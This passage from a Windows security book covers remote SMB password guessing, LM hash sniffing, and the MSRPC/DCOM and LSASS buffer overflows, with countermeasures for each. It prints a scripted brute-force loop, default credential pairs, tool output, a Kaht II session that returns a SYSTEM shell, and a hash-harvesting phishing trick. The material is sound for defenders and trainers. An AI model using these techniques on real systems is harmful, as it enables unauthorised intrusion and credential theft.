UNAUTHENTICATED ATTACKS

There are two primary vectors for compromising Windows systems remotely:

  • Proprietary Windows networking protocols These include the classic Windows protocols Server Message Block (SMB), Microsoft Remote Procedure Call (MSRPC), and the NetBIOS protocols, including the NetBIOS Session Service and the NetBIOS Names Service (NBNS). There are a common set of APIs exposed across these services that provide privileged access to Windows internals.

  • Windows Internet service implementations This includes Windows' custom implementations of the most common Internet standard protocols, such as HTTP, SMTP, POP3, and NNTP. Mostly, these are the services implemented within IIS.

If you seal these two avenues of entry, you will have taken great strides toward making your Windows systems more secure. This section will show you the most critical weaknesses in both features as well as how to address them.

Proprietary Windows Networking Protocol Attacks

Windows owes much of its current market position to the attractiveness of its file and print services, which are actually implemented through an array of complex proprietary protocols that provide voluminous attack surface. Some of these are open to direct manipulation, others have simply been found to have flaws like buffer overflows that provide fairly unrestricted access to Windows internals.

Remote Password Guessing

Popularity:

7

Simplicity:

7

Impact:

6

Risk Rating:

7

The traditional way to remotely crack Windows systems is to attack the Windows file and print sharing service, which operates over a protocol called Server Message Block (SMB). SMB is accessed via two TCP ports: the NetBIOS Session Service, on TCP 139, and TCP 445 ( essentially raw SMB over TCP, sometimes called "Direct Host"). Windows versions prior to Windows 2000 used only TCP 139; Windows 2000 and later offer both TCP 139 and 445 by default.

Assuming that SMB is accessible, the most effective method for breaking into a Windows system is good, old-fashioned remote password guessing: attempting to connect to an enumerated share (such as IPC$ or C$) and trying username/password combinations until you find one that works.

Of course, to be truly efficient with password guessing, a valid list of usernames is essential. We've already seen some of the best weapons for finding user accounts, including: the anonymous connection using the net use command (which opens the door by establishing a "null session" with the target); DumpACL/DumpSec, from Somarsoft Inc.; and sid2user/user2sid by Evgenii Rudnyiall discussed at length in Chapter 3. With valid account names in hand, password guessing is much more surgical.

Finding an appropriate share point to attack is usually trivial. You have seen in Chapter 3 the ready access to the Interprocess Communications "share" (IPC$) that is invariably present on systems exporting SMB. In addition, the default administrative shares, including ADMIN$ and [% systemdrive %]$ (for example, C$), are also almost always present to enable password guessing. Of course, shares can be enumerated, too, as discussed in Chapter 3.

With these items in hand, enterprising intruders will simply open their Network Neighborhood if Windows systems are about on the local wire (or use the Find Computer tool and an IP address) and then double-click the targeted machine, as shown in the following two illustrations:

image from book

Password guessing can also be carried out (and scripted) via the command line, using the net use command. Specifying an asterisk (*) instead of a password causes the remote system to prompt for one, as shown here:

 C:\> net use \192.168.202.44\IPC$ * /u:Administrator Type the password for \192.168.202.44\IPC$: The command completed successfully. 
Tip 

The account specified by the /u: switch can be confusing. Recall that Windows accounts are identified by security identifiers, or SIDs, which are comprised of MACHINE\account or DOMAIN\account pairs. If logging in as just Administrator fails, try using the DOMAIN\account syntax. Remember that discovering the Windows domain of a system can be done with the Resource Kit tool netdom .

Attackers may try guessing passwords for known local accounts on stand-alone Windows servers or workstations, rather than the global accounts on domain controllers.

Local accounts more closely reflect the security preferences of individual system administrators and users, rather than the more restrictive password requirements of a central IT organization. (Such attempts may also be logged on the domain controller.)

Of course, if you crack the Administrator account or a Domain Admin account on a domain controller, you have the entire domain (and perhaps any trusting domains) at your mercy. Generally , it's worthwhile to identify a domain controller (and for NT4 and earlier networks, the primary domain controller, or PDC ), begin automated guessing using low-impact methods , and then simultaneously scan an entire domain for easy marks, such as systems with blank Administrator passwords.

Caution 

If you intend to use the following techniques to audit systems in your company (with permission, of course), beware of account lockout when guessing passwords using the manual or automated means. There's nothing like a company full of locked-out users to dissuade management from further supporting your security initiatives! To test account lockout, tools such as enum (Chapter 3) can dump the remote password policy over null sessions. We also like to verify that the Guest account is disabled and then try guessing passwords against it. Yep, even when disabled, the Guest account will indicate when lockout is attained.

Password guessing is the most surgical when it leverages age-old user password selection errors. These are outlined as follows :

  • Users tend to choose the easiest password possiblethat is, no password. By far, the biggest hole on any network is the null or trivially guessed password, and that should be a priority when checking your systems for security problems.

  • Users will choose something that is easy to remember, such as their username or their first name , or some fairly obvious term , such as company_name, guest, test, admin, or password. Comment fields (visible in DumpACL/DumpSec enumeration output, for example) associated with user accounts are also famous places for hints at password composition.

  • A lot of popular software runs under the context of a Windows user account. These account names generally become public knowledge over time and, even worse , are generally set to something memorable. Identifying known accounts like this during the enumeration phase can provide intruders with a serious leg up when it comes to password guessing.

Some examples of these common username/password pairswhich we call "high probability combinations"are shown in Table 4-1. Also, you can find a huge list of default passwords at http://www.mksecure.com/defpw.

Table 4-1: High Probability Username/Password Combinations

Username

Password

Administrator

NULL, password, administrator

Arcserve

arcserve, backup

Test

test, password

Lab

lab, password

Username

username, company_name

Backup, backupexec

backup

Tivoli

Tivoli

symbiator

symbiator, as400

Educated guesses using the preceding tips typically yield a surprisingly high rate of success, but not many administrators will want to spend their valuable time manually pecking away to audit their users' passwords on a large network.

Performing automated password guessing is as easy as whipping up a simple loop using the Windows command shell FOR command based on the standard net use syntax. First, create a simple username and password file based on the high probability combinations in Table 4-1 (or your own version). Such a file might look something like this:

 [file:  credentials.txt] password          username ""               Administrator password          Administrator admin             Administrator administrator     Administrator secret            Administrator etc. . . . 

Note that any delimiter can be used to separate the values; we use tabs here. Also note that null passwords should be designated as open quotes (" ") in the left column.

Now we can feed this file to our FOR command, like so:

 C:\>FOR /F "tokens=1,2*" %i in (credentials.txt) do net use \  target  \IPC$ %i /u:%j 

This command parses credentials.txt, grabbing the first two tokens in each line and then inserting the first as variable %i (the password) and the second as %j (the username) into a standard net use connection attempt against the IPC$ share of the target server. Type FOR /? at a command prompt for more information about the FOR commandit is one of the most useful for Windows hackers.

Of course, many dedicated software programs automate password guessing. We've already talked about two of themLegion and the NetBIOS Auditing Tool (NAT)in Chapters 3 and 4. Legion will scan multiple Class C IP address ranges for Windows shares and also offers a manual dictionary attack tool.

NAT performs a similar function, albeit one target at a time. It operates from the command line, however, so its activities can be scripted. NAT will connect to a target system and then attempt to guess passwords from a predefined array and user-supplied lists. One drawback to NAT is that once it guesses a proper set of credentials, it immediately attempts access using those credentials. Thus, additional weak passwords for other accounts are not found. The following example shows a simple FOR loop that iterates NAT through a Class C subnet (the output has been edited for brevity):

 D:\> FOR /L %i IN (1,1,254) DO nat -u userlist.txt -p passlist.txt 192.168.202.%I > nat_output.txt [*]--- Checking host: 192.168.202.1 [*]--- Obtaining list of remote NetBIOS names [*]--- Attempting to connect with Username: 'ADMINISTRATOR' Password:       'ADMINISTRATOR' [*]--- Attempting to connect with Username: 'ADMINISTRATOR' Password:       'GUEST' ... [*]--- CONNECTED: Username: 'ADMINISTRATOR' Password: 'PASSWORD' [*]--- Attempting to access share: \*SMBSERVER\TEMP [*]--- WARNING: Able to access share: \*SMBSERVER\TEMP [*]--- Checking write access in: \*SMBSERVER\TEMP [*]--- WARNING: Directory is writeable: \*SMBSERVER\TEMP [*]--- Attempting to exercise .. bug on: \*SMBSERVER\TEMP ... 

Another good tool for turning up null passwords is WindowsInfoScan (WindowsIS), from David Litchfield. It can be found at http://packetstormsecurity.org/Windows/audit.WindowsIS is a straightforward command-line tool that performs Internet and NetBIOS checks, and then dumps the results to an HTML file. It does the usual due diligence in enumerating users, and it highlights accounts with null passwords at the end of the report.

The preceding tools are free and generally get the job done. For those who want commercial-strength password guessing, the old CyberCop Scanner suite by Network Associates Inc. (NAI) came with a utility called SMBGrind that is extremely fast because it can set up multiple grinders running in parallel. Otherwise , SMBGrind is not much different from NAT. Some sample output from SMBGrind is shown next . The -l in the syntax specifies the number of simultaneous connections (that is, parallel grinding sessions).

 D:\> smbgrind -l 100 -i 192.168.2.5 Host address: 192.168.2.5 Cracking host 192.168.2.5 (*SMBSERVER) Parallel Grinders: 100 Percent complete: 0 Percent complete: 25 Percent complete: 50 Percent complete: 75 Percent complete: 99 Guessed: testuser Password: testuser Percent complete: 100 Grinding complete, guessed 1 accounts 

Password-Guessing Countermeasures

Several defensive postures can eliminate, or at least deter , such password guessing, including the following:

  • Use a network firewall to restrict access to SMB services on TCP 139 and 445.

  • Use host-resident features of Windows to restrict access to SMB.

    • IPSec filters (Windows 2000 and above only)

    • Internet Connection Firewall (Win XP and above only)

  • Disable SMB services (on TCP 139 and 445).

  • Enforce the use of strong passwords using policy.

  • Set an account-lockout threshold and ensure that it applies to the built-in Administrator account.

  • Enable audit account logon failures and regularly review Event Logs.

Frankly, we advocate employing all these mechanisms in parallel to achieve defense in depth, if possible. Let's discuss each in detail.

Restricting Access to SMB Using a Network Firewall This is advisable if the Windows system in question is an Internet host and should not be answering requests for shared Windows resources. Block access to all unnecessary TCP and UDP ports at the perimeter firewall or router, especially TCP 139 and 445. There should never be an exception to this rule, because the exposure of SMB outside the firewall simply provides too much risk from a wide range of attacks.

Using Windows Features to Restrict Access to Services Beginning with Windows 2000, Microsoft implemented the IP Security standard (IPSec) as a standard feature of the OS. IPSec provides the ability to create filters that can restrict access to services based on standard TCP/IP parameters such as IP protocol, source address, TCP or UDP destination port, and so on. We'll talk more about IPSec in the "Windows Security Features" section, later in this chapter.

The Internet Connection Firewall (ICF) was unveiled in Windows XP and is available in Windows Server 2003 and above. ICF is pretty much what it sounds likea hostbased firewall for Windows. It performs exceptionally well when used to block all ports, but it suffers from one serious limitation: It cannot be used to restrict access to services based on source IP address. ICF is also discussed in the "Windows Security Features" section of this chapter.

Disabling SMB (TCP 139 and 445) Under NT4 and previous versions, the way to disable TCP 139 (the NetBIOS Session Service) was to disable bindings to the WINS Client (TCP/IP) for any adapter connected to untrusted networks, as shown in this example of the Windows Network dialog box:

image from book

This will disable any NetBIOS-specific ports on that interface. For dual- homed hosts , NetBIOS can be disabled on the Internet-connected NIC and left enabled on the internal NIC so that Windows file sharing is still available to trusted users. (When you disable NetBIOS in this manner, the external port 139 will still register as listening but will not respond to requests.)

In Windows 2000 and above, NetBIOS over TCP/IP can be disabled using the Properties of the appropriate adapter in Network and Dial-up Connections Properties of Internet Protocol (TCP/IP) Advanced button WINS tab Disable NetBIOS Over TCP/IP.

What many fail to realize, however, is that although reliance on the NetBIOS transport can be disabled in this manner, Windows 2000 still uses SMB over TCP (port 445) for Windows file sharing.

Here's the dirty trick Microsoft plays on innocent users who think disabling NetBIOS over TCP/IP (via the LAN connection Properties WINS tab) will solve their null session enumeration problems: It doesn't. Disabling NetBIOS over TCP/IP makes TCP 139 go away, but not 445. This looks like it solves the null session problem because pre-NT4 Service Pack 6a attackers cannot connect to port 445 and create a null session. However, post-SP6a and Windows 2000 clients can connect to 445, and they can do all the nasty things we described in detail in Chapter 3enumerate users, run user2sid/sid2user, and so on. Don't be lulled into false confidence by superficial UI changes!

Fortunately, there is a way to disable even port 445; however, like disabling port 139 under NT4, it requires digging into the bindings for a specific adapter. First, you have to find the bindings tab, thoughit has been moved to someplace no one will ever look (another frustrating move on the UI front). It's now available by opening the Network and Dial-up Connections applet and selecting Advanced Advanced Settings, as shown here:

image from book

By clearing the File And Printer Sharing For Microsoft Networks check box, as illustrated in Figure 4-1, null sessions will be disabled over 139 and 445 (along with file and printer sharing, obviously). No reboot is required for this change to take effect. (Microsoft should be heavily praised for finally permitting many network changes like this one without requiring a reboot.) This remains the best way to configure the outer interfaces of an Internet-connected server.

image from book
Figure 4-1: Disabling NetBIOS and SMB/CIFS file and printer sharing (blocking null sessions) using the Network and Dial-up Connections Advanced Settings dialog box.
Note 

TCP 139 will still appear during a port scan even after this is set. However, the port will no longer provide NetBIOS- related information.

If your Windows systems are file servers and therefore must retain the Windows connectivity, these measures obviously won't suffice, because they will block or disable all such services. More traditional measures must be employed, such as locking out accounts after a given number of failed logins, enforcing strong password choices, and logging failed attempts. Fortunately, Microsoft provides some tools for these measures.

Enforcing Strong Passwords Using Policy One tool is the account policy provision of User Manager, found under Policies Account under NT4. This same feature can be found under Security Policy Account Policies Password Policy in Windows 2000 and above. Using this feature, certain account password policies can be enforced, such as minimum length and uniqueness. Accounts can also be locked out after a specified number of failed login attempts. User Manager's Account Policy feature also allows administrators to forcibly disconnect users when logon hours expire, a handy setting for keeping latenight pilferers out of the cookie jar. The NT4 Account Policy settings are shown next.

image from book

Once again, anyone intending to test password strength using manual or automated techniques discussed in this chapter should be wary of this account-lockout feature.

Passfilt Even greater security can be had with the Passfilt DLL, which shipped with NT4 Service Pack 2 and must be enabled according to Microsoft Knowledge Base (KB) Article ID Q161990 on NT4 and earlier.

Note 

Passfilt is installed by default on Windows 2000 and later, but it is not enabled. Use the Security Policy tools (secpol.msc or gpedit.msc) to enable it under Security Settings Account Policies Password Policy Passwords Must Meet Complexity Requirements.

Passfilt enforces strong password policies for you, making sure no one slips through the cracks or gets lazy. When installed, it requires that passwords must be at least six characters long, may not contain a username or any part of a full name, and must contain characters from at least three of the following:

  • English uppercase letters (A, B, C, Z)

  • English lowercase letters (a, b, c, z)

  • Westernized Arabic numerals (0, 1, 2, 9)

  • Nonalphanumeric "metacharacters" (@, #, !, &, and so on)

Passfilt is a must for serious Windows admins, but there is one thing it does not address completely: We recommend superseding the six-character length requirement with a seven-character minimum set using Account Policy. (To understand why seven is the magic number, see the upcoming "Authenticated Attacks" section.)

Caution 

With NT4 and previous, Passfilt acts only on user requests to change passwords. Administrators can still set weak passwords via User Manager, circumventing the Passfilt requirements (see KB Article Q174075).

Lockout Threshold Perhaps one of the most important steps to take to mitigate SMB password guessing attacks is to set an account lockout threshold. Once a user reaches this threshold number of failed logon attempts, their account is locked out until an administrator resets it or an administrator-defined timeout period elapses. Lockout thresholds can be set via the NT4 User Manager or under Security Policy Account Policies Account Lockout Policy in Windows 2000 and above.

Caution 

The lockout threshold does not apply to the built-in Administrator account. You must use the Passprop tool to configure the lockout threshold to apply to the local Administrator account.

Passprop Passprop is a tool from the Windows Resource Kit (RK) that applies the existing account lockout threshold to the built-in Administrator account. As we've discussed, the Administrator account is the single most dangerous trophy for attackers to capture. Unfortunately , the original Administrator account (RID 500) cannot be locked out by default, allowing attackers indefinite and unlimited password-guessing opportunities. Passprop applies the enabled lockout policy to the Administrator account. (The Administrator account can always be unlocked from the local console, preventing a possible denial of service, or DoS, attack.)

To set Administrator lockout, install the RK (or simply copy passprop.exe from the RK, in case installing the entire kit becomes a security liability) and enter the following at a command prompt:

 passprop /complex /adminlockout 

The /noadminlockout switch reverses this security measure.

Tip 

Passprop does not work on Windows 2000 before Service Pack 2, even though it appears to run successfully.

Auditing and Logging Even though someone may never get into your system via password guessing because you've implemented Passfilt or Passprop, it's still wise to log failed logon attempts using Policies Audit in NT4's User Manager (once again, the same settings are available in Windows 2000 and above via Security Policy Local Policies Audit Policy). Figure 4-2 shows the recommended configuration for a highly secure Windows Server 2003 in the Security Policy tool. Although these settings will produce the most informative logs with relatively minor performance effects, we recommend that they be tested before being deployed in production environments.

image from book
Figure 4-2: Recommended audit settings for a secure server, as configured using Windows Server 2003's Security Policy snap-in.

Of course, simply enabling auditing is not enough. You must regularly examine the logs for evidence of intruders. A Security Log full of 529 or 539 eventslogon/ logoff failure and account locked out, respectivelyis a sure sign that you're under automated attack. The log will even identify the offending system in most cases. Unfortunately, Windows logging does not report the IP address of the attacking system, only the NetBIOS name. Of course, NetBIOS names are trivially spoofed, so an attacker could easily change the NetBIOS name, and the logs would be misleading if the name chosen was a valid name of another system or if the NetBIOS name was randomly chosen with each request. In fact, NAI's SMBGrind product spoofs the NetBIOS name, and it can be easily altered with a simple binary hex editor such as UltraEdit.

Figure 4-3 shows the Security Log after numerous failed logon attempts caused by a NAT attack.

image from book
Figure 4-3: The Windows Security Log shows failed logon attempts caused by an automated password-guessing attack.

The details of event 539 are shown here:

image from book

Of course, logging does little good if no one ever analyzes the logs. Sifting through the Event Log manually is tiresome, but thankfully the Event Viewer has the capability to filter on event date, type, source, category, user, computer, and event ID.

For those looking for solid, scriptable, command-line log manipulation and analysis tools, check out Dumpel, from RK. Dumpel works against remote servers (proper permissions are required) and can filter on up to ten event IDs simultaneously. For example, using Dumpel, we can extract failed logon attempts (event ID 529) on the local system using the following syntax:

 C:\> dumpel -e 529 -f seclog.txt -l security -m Security -t 

Another good tool is DumpEvt from Somarsoft (free from http://www.somarsoft.com). DumpEvt dumps the entire security Event Log in a format suitable for import to an Access or SQL database. However, this tool is not capable of filtering on specific events.

Another nifty free tool is EventCombWindows, from Microsoft's Windows 2000 Server Security Operations Guide at http://www.microsoft.com/technet/security/prodtech/windows/windows2000/staysecure/default.asp. EventCombWindows is a multithreaded tool that will parse Event Logs from many servers at the same time for specific event IDs, event types, event sources, and so on. All servers must be members of a domain, because EventCombWindows works only by connecting to a domain first.

In the commercial space, we recommend ELM Log Manager, from TWindows Software at http://www.tntsoftware.com. ELM provides centralized, real-time event-log monitoring and notification across all Windows versions, as well as Syslog and SNMP compatibility for non-Windows systems. Although we have not used it ourselves , we've heard very good feedback from consulting clients regarding ELM.

Real-Time Burglar Alarms: Intrusion Detection/Prevention The next step up from log analysis tools is a real-time alerting capability. Windows intrusion-detection/prevention detection (IDS/IPS) products are listed in Table 4-2. Note that we've included "prevention" since most IDS vendors have now recognized that if customers are going to spend money to detect something, they might as well block it at the same juncture.

Table 4-2: Selected Windows Intrusion Detection/Prevention Tools

BlackICE PC ProtectionBlackICE Server Protection

Internet Security Systems http://blackice.iss.net

Entercept

McAfee Inc. http://www.mcafeesecurity.com/us/products/ mcafee /host_ips/category.htm

Cisco Security Agent (formerly Okena StormWatch)

Cisco http://www.cisco.com

Sentivist IPS/IDS

Network Flight Recorder (NFR) http://www.nfr.com

eTrust intrusion Detection (formerly SessionWall-3)

Computer Associates (CA) http://www3.ca.com/Solutions/Product.asp?ID=163

Intruder Alert (ITA)

Symantec http://enterprisesecurity. symantec .com/products

RealSecure Server Protection

Internet Security Systems http://www.iss.net

Tripwire for Windows

Tripwire, Inc. http://www.tripwiresecurity.com/

Although we've tried to focus on Windows host-based intrusion-detection/prevention products in Table 4-2, many of the vendors listed there also produce products ranging from log analysis and alerting tools to network protocol attack monitors , so be sure to question vendors carefully about the capabilities and intended function of the product you are interested in.

An in-depth discussion of intrusion detection/prevention is outside the scope of this book, unfortunately, but security-conscious administrators should keep their eyes on this technology for new developments. What could be more important than a burglar alarm for your Windows network?

Eavesdropping on Network Password Exchange

Popularity:

6

Simplicity:

4

Impact:

9

Risk Rating:

6

Password guessing is hard work. Why not just sniff credentials off the wire as users log in to a server and then replay them to gain access? In the unlikely circumstance that an attacker is able to eavesdrop on Windows login exchanges, this approach can spare a lot of random guesswork. Any old packet analyzer will do for this task, but a specialized tool exists for this purpose. You're going to see a lot of it in this chapter, so we might as well introduce it now: It's called L0phtcrack, and it's available at http://www.atstake.com/research/lc/index.html (and by the way, that's a zero in "L0pht").

Note 

@stake has taken to referring to L0phtcrack as "LC" in recent versions; as of this writing, the most current version was LC5.

L0phtcrack is a Windows password-guessing tool that usually works offline against a captured Windows password database so that account lockout is not an issue and guessing can continue indefinitely. Obtaining the password file is not trivial and is discussed along with L0phtcrack in greater detail in the "Cracking Passwords" section, later in this chapter.

L0phtcrack also includes a function called SMB Packet Capture (formerly a separate utility called readsmb) that bypasses the need to capture the password file. SMB Packet Capture listens to the local network segment and captures individual login sessions between Windows systems, strips out specific values that can be used to derive passwords, and imports then into the main L0phtcrack program for analysis. Figure 4-4 shows SMB Packet Capture at work capturing passwords flying over the local network, to be cracked later by L0phtcrack itself.

image from book
Figure 4-4: L0phtcrack's SMB Packet Capture utility eavesdrops on Windows logins over the network and feeds them back to L0phtcrack for cracking.

Some readers might be wondering, "Hold on. Doesn't Windows utilize challenge/response authentication to block eavesdropping attacks?" True. When authenticating, clients are issued a random challenge from the server, which is then encrypted using the user's password hash as the key, and the encrypted challenge is sent back over the wire. The server then encrypts the challenge with its own copy of the user's hash and compares the two values. If it matches, the user is authenticated. (See KB Article Q102716 for more details on Windows authentication.) If the user's password hash never crosses the network, how does L0phtcrack's SMB Packet Capture utility crack it?

It is done simply by brute-force cracking. From the packet capture, L0phtcrack obtains only the challenge and the user's hash encrypted using the challenge. By encrypting the known challenge value with random strings and comparing the results to the encrypted hash, L0phtcrack reverse- engineers the actual hash value itself. Because of weaknesses in the hash algorithm used by Microsoft, the LAN Manager (LM) hash algorithm, this comparison actually takes a lot less time than it should. The primary reason for this is the segmentation of the LM hash into small, discretely attackable portions, allowing the attack to be run in parallel against several smaller portions of the hash rather than the entire value.

The effectiveness of the reverse-engineering applied by SMB capture paired with the main L0phtcrack password-cracking engine is such that anyone who can sniff the wire for extended periods is most certainly guaranteed to obtain Administrator status in a matter of days. Do you hear the clock ticking on your network?

Oh, and in case you think your switched network architecture will eliminate the ability to sniff passwords, don't be too sure. Attackers can perform a variety of ARP spoofing techniques to redirect all your traffic through the attackers, thereby sniffing all your traffic. Or more simply, try this little bit of social engineering found in the L0phtcrack FAQ:

"Send out an email to your target, whether it is an individual or a whole company. Include in it a URL in the form of file://yourcomputer/sharename/message.html . When people click that URL they will be sending their password hashes to you for authentication."

Caution 

In view of techniques such as ARP redirection (see Chapter 7), switched networks don't really provide much security against eavesdropping attacks anyway.

Those crazy cats at L0pht even cooked up a sniffer that dumps Windows password hashes from Point-to-Point Tunneling Protocol (PPTP) logon exchanges. Windows uses an adaptation of PPTP as its Virtual Private Networking (VPN) technology, a way to tunnel network traffic securely over the Internet. Two versions of the PPTP sniffer can be found at http://packetstormsecurity.com/sniffers/pptp-sniff.tar.gz. A UNIX-based readsmb program written by Jose Chung from Basement Research is also available from this site.

Note 

The SMB Capture tool can capture logons involving only Win9 x /Me and NT4 or earlier machines that send the LM Response. Authentication between Windows 2000 and later machines is not vulnerable to this attack (unless a Win9 x /Me and/or NT4 or earlier system that sends the LM hash is involved in the exchange!).

LanMan Authentication Countermeasure

The key to disabling the aforementioned attacks is to disable LanMan (LM) authentication. Remember, it's the LM Response that tools such as SMB Packet Capture prey on to derive passwords. If you can prevent the LM Response from crossing the wire, you will have blocked this attack vector entirely.

Following Windows NT 4.0 Service Pack 4, Microsoft has added a Registry key and value that controls the use of LM authentication. Add the LMCompatibilityLevel value with a Value Type of REG_DWORD = 4 to the HKEY_LOCAL_MACHINE\System\ CurrentControlSet\Control\LSA Registry key. The Value Type 4 will prevent a domain controller (DC) from accepting LM authentication requests. The Microsoft Knowledge Base article Q147706 references Levels 4 and 5 for domain controllers.

On Windows 2000 and later systems, this Registry setting is more easily configured using the Security Policy tool: Look under the "LAN Manager Authentication Level" setting under the Local Policies Security Options node (this setting is listed under the "Network Security" category in Windows XP and later). This setting allows you to configure Windows 2000 and later to perform SMB authentication in one of six ways (from least secure to most; adapted from KB Article Q239869). We recommend setting this to at least Level 2, "Send NTLM Response Only."

Unfortunately, any downlevel clients that try to authenticate to a domain controller patched in this way will fail, because the DC will accept only Windows hashes for authentication. ("Downlevel" refers to Windows 9 x, Windows for Workgroups, and earlier clients.) Even worse, because non-Windows clients cannot implement the Windows hash, they will futilely send LM hashes over the network anyway, thus defeating the security against SMB capture. This fix is therefore of limited practical use to most organizations that run a diversity of Windows clients.

Note 

Before NT SP4, there was no way to prevent a Windows host from sending the LM hash for authentication. Therefore, any pre-NT SP4 Windows host is susceptible to this attack.

With the release of Windows 2000, Microsoft provided another way to shore up Windows 9 x 's transmittal of authentication credentials over the wire. It's called the Directory Services Client (DSClient), available on the Windows 2000 CD-ROM as Clients\Win9x\ Dsclient.exe. Win 9 x users are theoretically able to set specific Registry settings to use the more secure Windows hash only. KB Article Q239869 describes how to install DSClient and configure Windows 9 x clients to use NTLM v2.

MSRPC vulnerabilities

Popularity:

9

Simplicity:

5

Impact:

10

Risk Rating:

8

Apparently frustrated by the gradual hardening of IIS over the years, hackers turned their attention to more fertile ground: Microsoft Remote Procedure Call (MSRPC) and the many programmatic interfaces it provides. MSRPC is derived from the Open Software Foundation (OSF) RPC protocol, which has been implemented on other platforms for years . For those of you who are wondering why we include MSRPC under our discussion of proprietary Microsoft protocol attack, MSRPC implements Microsoft-specific extensions that have historically separated it from other RPC implementations. Many of these interfaces have been in Windows since its inception, providing plenty of attack surface for buffer overflow exploits and the like. The MSRPC port mapper is advertised on TCP and UDP 135 by Windows systems, and cannot be disabled without drastically affecting the core functionality of the operating system. MSRPC interfaces are also available via other ports, including TCP/UDP 139, 445 or 593, and can also be configured to listen over a custom HTTP port via IIS or COM Internet Services (CIS; see http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx).

In July 2003, The Last Stage of Delirium Research Group (LSD) published one of the first serious salvos signaling renewed interest in Windows proprietary networking protocols. LSD identified a stack buffer overflow in the RPC interface implementing Distributed Component Object Model services (DCOM). Even Windows Server 2003's buffer overflow protection countermeasures (the /GS flag) failed to protect it from this vulnerability.

There were a number of exploits, viruses, and worms that were published for this vulnerability. One easy-to-use scanner is the Kaht II tool, which can be downloaded from http://www.securityfocus.com/bid/8205/exploit. Khat II can scan a range of IP addresses, remotely exploit each system vulnerable to the RPC vulnerability, and send back a shell running as SYSTEM. Talk about fire and forget exploitation! Khat II is shown in operation here:

 C:\tools>  kaHt2.exe 192.168.234.2 192.168.234.3  _________________________________________________            KAHT II MASSIVE RPC EXPLOIT   DCOM RPC exploit. Modified by aT4r@3wdesign.es   #haxorcitos && #localhost @Efnet Ownz you!!!               PUBLIC VERSION :P ________________________________________________ [+] Targets: 192.168.234.2-192.168.234.3 with 50 Threads [+] Attacking Port: 135. Remote Shell at port: 33090 [+] Scan In Progress... - Connecting to 192.168.234.3   Sending Exploit to a [WinXP] Server... - Conectando con la Shell Remota... Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINNT\system32>  whoami  whoami nt authority\system C:\WINNT\system>  32 netstat -an  netstat -an Active Connections   Proto  Local Address          Foreign Address        State   TCP    0.0.0.0:25             0.0.0.0:0              LISTENING   etc.   TCP    192.168.234.3:33090    192.168.234.210:3239   ESTABLISHED   UDP    0.0.0.0:135            *:*   etc. C:\test>  b  - Connection Closed  [+] Scan Finished. Found 1 open ports 

More infamously, the Blaster worm achieved significant distribution by exploiting this vulnerability. Blaster was programmed to infect other machines and perform a DoS attack against http://windowsupdate.com (actually not the correct address for Microsoft's primary patching site) that was blunted by Microsoft's removal of the http://windowsupdate.com domain name from DNS on August 15, 2003.

Subsequently, other serious MSRPC vulnerabilities were discovered . For details, see http://www.microsoft.com/technet/security/bulletin/MS03-039.mspx, http://MS04-012.mspx, and http://MS04-029.mspx.

MSRPC Countermeasures

At the network layer, filter access to the ports used to exploit MSRPC, including:

  • TCP ports 135, 139, 445, and 593

  • UDP ports 135, 137, 138, and 445

  • All unsolicited inbound traffic on ports greater than 1024

  • Any other specifically configured RPC port

  • If installed, COM Internet Services (CIS) or RPC over HTTP, which listen on ports 80 and 443

Note 

See Microsoft security bulletin MS03-026 for more information about identifying RPC over HTTP or CIS on your systems.

At the host layer, filter these same ports using host-based firewalling or IPSec filters, and apply the patch from MS03-026 (or subsequent roll-up hotfixes or service packs , of course). Microsoft also released a tool to scan for the presence of this vulnerability at http://support.microsoft.com/?kbid=827363.

Although disabling the RPC service (RPCSS) is not recommended, you can disable DCOM to prevent specific vulnerabilities involving the RPC/DCOM interface (like MS03-026). While disabling DCOM is not as debilitating as disabling RPCSS, it will likely cause issues with your Windows applications, so be very cautions if you elect to go this route. See http://support.microsoft.com/?kbid=825750 for information on how to disable DCOM. Also, be sure to disable RPC over HTTP and CIS if you are not using it.

If you write your own RPC applications, you should definitely read Microsoft's MSDN article on securing RPC clients and servers, available at http://msdn.microsoft.com/library/default.asp?url=/library/en-us/rpc/rpc/writing_a_secure_rpc_client_or_server.asp.

To detect systems already infected by Blaster, we recommend following standard incident response procedures and relying on your antivirus infrastructure. You might also try rerouting the http://windowsupdate.com domain name to a special internal IP address: This will alert you to the infected machines that will subsequently attempt to SYN flood the internal IP address at scheduled intervals according to Blaster's internal timer.

For complete information about mitigating this vulnerability, see Microsoft's security bulletin at http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx.

Local Security Authority Service (LSASS) Buffer Overflow

Popularity:

9

Simplicity:

5

Impact:

10

Risk Rating:

8

Security researchers eEye Digital Security reported this vulnerability to Microsoft in October 2003, and it took nearly 200 days for Microsoft to issue a patch (see http://www.eeye.com/html/Research/Advisories/AD20040413C.html). Although the vulnerability itself lies in LSASS (LSASRV.DLL), specifically in code that interfaces with Active Directory services both locally and remotely, it is actually exploited via RPC on TCP ports 139 and 445 (again pointing up the substantial attack surface exposed by the numerous Windows programming interfaces available via these proprietary protocols). Windows Server 2003 was not remotely affected by publicly released exploit code, in contrast to just about every other flavor of Windows in popular use at the time (Windows NT 4.0 SP6a, 2000 SP2 through SP4, XP SP1, NetMeeting, Windows 98, and Windows ME).

eEye, as always, explains exploitation in gory detail in their bulletin, and of course it wasn't but a few days from the official announcement by Microsoft that a worm was produced. The Sasser worm achieved a moderate distribution by exploiting the vulnerability on Windows XP machines only (see http://vil.nai.com/vil/content/v_125007.htm). Of course, there was also console exploit application code released as well, which can be found at http://www.securityfocus.com/bid/10108/exploit. By and large, this body of exploit code was a bit unstable in our testing, frequently causing forcible system shutdowns on Windows XP SP1 systems, as shown in Figure 4-5.

image from book
Figure 4-5: The result of running one of the LSASS buffer overflow exploits against a vulnerable system

LSASS Buffer Overflow Countermeasures

For complete information about mitigating this vulnerability, see Microsoft's security bulletin at http://www.microsoft.com/technet/security/bulletin/ms04-011.mspx.

At the network layer, filter access to the ports used to exploit the LSASS buffer overflow, TCP ports 139 and 445.

At the host layer, filter these same ports using host-based firewalling or IPSec filters, and apply the patch from MS04-011 (or subsequent roll-up hotfixes or service packs, of course).

Normally, we'd also recommend disabling the vulnerable service to protect against exploitation. Unfortunately, LSASS cannot be disabled since its functionality is too central to the operation of the operating system (authentication, maintaining logon sessions, and so on). You can stop the Windows Server service with the net stop server /y command, which will disable connectivity to TCP 139 and 445, but this will also disable any file, print, and domain capabilities of the system.

